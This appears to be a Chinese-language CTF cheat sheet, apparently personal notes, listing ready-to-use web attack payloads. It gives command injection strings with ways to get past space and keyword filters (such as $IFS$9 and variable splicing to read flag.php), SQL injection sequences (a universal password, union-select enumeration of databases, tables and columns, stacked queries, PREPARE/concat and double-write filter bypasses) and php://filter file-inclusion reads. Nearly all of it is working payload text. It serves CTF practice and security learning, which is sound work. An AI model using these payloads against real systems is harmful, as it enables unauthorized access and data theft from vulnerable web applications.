type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)
零、通用提示
Flag可能藏在源码注释里!记得F12找找
一、Command Injection(命令注入)类:
0.看当前目录的文件,看根目录的文件,找flag
- 127.0.0.1 ; ls
- 127.0.0.1 ; ls../../../
1.绕过空格
- $IFS$9
- 首选!
- 注意注意:在后面加个
$
可以起到截断的作用,使用$9
是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
$IFS
- ${IFS}
- <
- <>
- {cat,flag.php}
- %20
- %09
2.绕过关键词(如flag)
- 利用环境变量拼接方法绕过。
- /?ip=127.0.0.1;d=g;cat$IFS$9fla$d.php
- 首选!
- 注意注意:这里之所以选择替换flag里的“g”还是因为如果替换前边的字母,例如
fl$dg
,bash解释器会把整个dg
当做变量名,所以导致输不出来结果。 - 如果必须替换前边的字母也得用$9来截断:
- /?ip=127.0.0.1;d=a;cat$IFS$9fl$d$9g.php
- 单引号和双引号绕过。
- /?ip=127.0.0.1;cat$IFS$9''f''l''a''g''.php
- 反斜杠绕过。
- /?ip=127.0.0.1;cat$IFS$9\f\l\a\g\.php
3.查看文件内容命令:
- 1. cat命令
- 2. nl命令(比cat多了行数提示)
- 3. more命令
- 4. less命令
- 5. head命令
- 6. tail命令
4.补充
二、SQL Injection(SQL注入)类:
0.上来一个‘看报错
1.万能密码
- password' or '1'='1
2.常规注入流程
- 判断字段数
- order by x#
- 判断显示位
- union select 1,2#
- 查询数据库名
- union select 1,database()#
- 输出当前数据库下的表名
- union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 输出 指定表 下面的所有字段名
- union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='指定表'#
- 输出 指定表 中的 指定字段 数据
- union select group_concat(指定字段),group_concat(指定字段) from 指定表#
- 首选!会在一个回显位输出所有数据
- union select 指定字段,指定字段 from 指定表#
3.“堆叠注入”
- 注意:如果是纯数字的名,需要用反引号 ` ` 包裹
- 查看数据库名:
- 1';show databases;#
- 查看表名:
- 1’;show tables;#
- 查看 指定表 的详细信息:
- 1';desc 指定表;#
4.特征判断
- 输入非0数字得到的回显1,输入其余字符得不到回显
- 推测内部的查询语句存在逻辑或:
- select 输入的内容 || flag from Flag
- 原理:
- 非0数字 || 任意 = 1(真)
- 0 || 任意 = 0(假)
- Payload:
- *,1
- 1‘;set sql_mode=pipes_as_concat;select 1
5.关键词绕过
- 情况一:检测关键词后直接整个不执行,预编译绕过
- 例如:select * from `1919810931114514`,select被检测
- Payload:
- 1';PREPARE abc from concat('s','elect', ' * from `1919810931114514` ');EXECUTE abc;#
- 情况二:检测到关键词,把关键词给删除了,双写绕过
- 例如union select 1,2,group_concat(passwoorrd) from b4bsql#,union、select和from直接被删除
- Payload:
- uunionnion sselectelect 1,2,group_concat(passwoorrd) ffromrom b4bsql#
三、File Inclusion(文件包含)类:
- 看PHP源码,用php://filter伪协议,再base64解码
- Payload:
- • ?file=php://filter/read=convert.base64-encode/resource=flag.php